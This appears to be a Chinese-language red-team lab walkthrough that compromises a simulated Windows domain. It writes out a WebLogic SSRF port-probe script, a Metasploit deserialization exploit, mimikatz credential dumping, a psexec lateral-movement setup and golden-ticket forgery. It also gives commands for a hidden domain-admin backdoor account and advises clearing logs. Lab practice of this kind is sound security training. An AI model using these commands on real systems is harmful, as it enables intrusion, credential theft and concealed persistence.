1. 靶场环境搭建与初始配置
这个靶场模拟了典型的企业内网环境,包含三台关键主机:WEB服务器(双网卡)、域成员PC和域控制器DC。WEB服务器作为内外网交界点,配置了两张网卡分别连接192.168.111.0/24(外网)和10.10.10.0/24(内网)网段。这种设计完美复现了真实企业网络中的DMZ区架构,为后续从外网到内网的渗透路径奠定了基础。
搭建环境时需要注意几个关键点:所有虚拟机默认密码都是1qaz@WSX,WEB服务器需要以管理员身份启动WebLogic服务。具体路径在C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录下的startWebLogic脚本。我在实际测试中发现,如果不用管理员权限启动,后续的漏洞利用可能会失败。另外建议关闭所有主机的防火墙,避免影响实验流程:
# Windows防火墙关闭命令 netsh advfirewall set allprofiles state off网络拓扑中特别值得注意的是WEB服务器扮演了网关角色,这意味着一旦控制该主机,就能获得通往内网的跳板。这种架构在中小企业非常常见,也是红队演练的重点突破对象。
2. 外网渗透:WebLogic SSRF漏洞利用
使用nmap对WEB服务器进行扫描时,发现7001端口运行的WebLogic 10.3.6存在多个高危漏洞。通过WebLogicScan工具检测,确认存在CVE-2019-2725反序列化漏洞和SSRF漏洞。这里我推荐使用开源的WebLogicScan工具,比手工检测效率高很多:
# WeblogicScan基础用法 python WeblogicScan.py 192.168.111.80 7001 python WeblogicScan.py -u http://192.168.111.80:7001 -vSSRF漏洞位于/uddiexplorer/SearchPublicRegistries.jsp页面,通过operator参数可以探测内网服务。我在测试时发现这个SSRF有几个特征:
- 端口开放时返回404状态码
- 端口关闭返回连接失败
- 非HTTP协议会提示无效内容类型
- 未指定协议会报协议错误
利用这个特性,我们可以编写简单的Python脚本自动化探测内网:
import requests target = "http://192.168.111.80:7001/uddiexplorer/SearchPublicRegistries.jsp" for port in range(1,100): payload = {"operator": "http://10.10.10.10:%d" % port} r = requests.post(target, data=payload) if "404" in r.text: print("[+] Port %d is open" % port)通过MSF的weblogic_deserialize_asyncresponseservice模块,成功获取了初始shell。但默认获得的只是普通用户权限,需要进一步提权。这里有个坑点:直接使用getsystem可能会失败,建议先迁移到稳定进程再尝试提权。
3. 内网横向移动技术实战
获得WEB服务器控制权后,通过ipconfig发现双网卡配置,确认内网网段为10.10.10.0/24。使用CS的portscan模块扫描发现域控10.10.10.10开放了445端口。这里分享一个技巧:在内网扫描时使用ARP协议比ICMP更可靠,因为很多内网会禁用ICMP。
通过mimikatz抓取到了管理员凭证,这是内网渗透的关键转折点:
# mimikatz基础用法 privilege::debug sekurlsa::logonpasswords获取的凭证可以用于多种横向移动技术:
- Psexec:最直接的横向移动方式,适合445端口开放的情况
- WMI:更隐蔽的执行方式,适合防护严格的环境
- 计划任务:适合需要定时执行的情况
- SMB共享:直接上传payload到目标机器
在实际测试中,Psexec成功率最高。CS中的具体配置步骤如下:
- 新建一个SMB监听器
- 在已控主机上右键选择"横向移动"
- 选择psexec方式,填写目标IP和管理员凭据
- 选择生成的payload类型(推荐使用stageless)
# Psexec横向移动示例 use exploit/windows/smb/psexec set RHOSTS 10.10.10.10 set SMBDomain de1ay set SMBUser administrator set SMBPass 1qaz@WSX set payload windows/meterpreter/bind_tcp exploit4. 域控攻陷与权限维持
成功横向移动到域控后,需要建立持久化控制。黄金票据是最有效的域持久化技术之一,需要收集以下信息:
- 域SID:通过
whoami /all获取 - krbtgt用户的NTLM哈希:通过mimikatz获取
- 域名:de1ay.com
制作黄金票据的命令:
# 黄金票据生成 kerberos::golden /admin:Administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:5d99c3faf1c3ad94ed92b4d8314c6bb6 /ptt此外,还可以创建隐蔽的后门账户,并将其加入域管理员组:
# 创建隐藏后门账户 net user eviladmin P@ssw0rd123 /add /domain net group "Domain Admins" eviladmin /add /domain # 隐藏账户注册表键值 reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\eviladmin" /v Type /t REG_DWORD /d 0x3e9 /f在实际攻防演练中,建议同时使用多种权限维持技术,避免单一技术失效导致失去控制权。同时要注意清理日志,避免触发安全告警。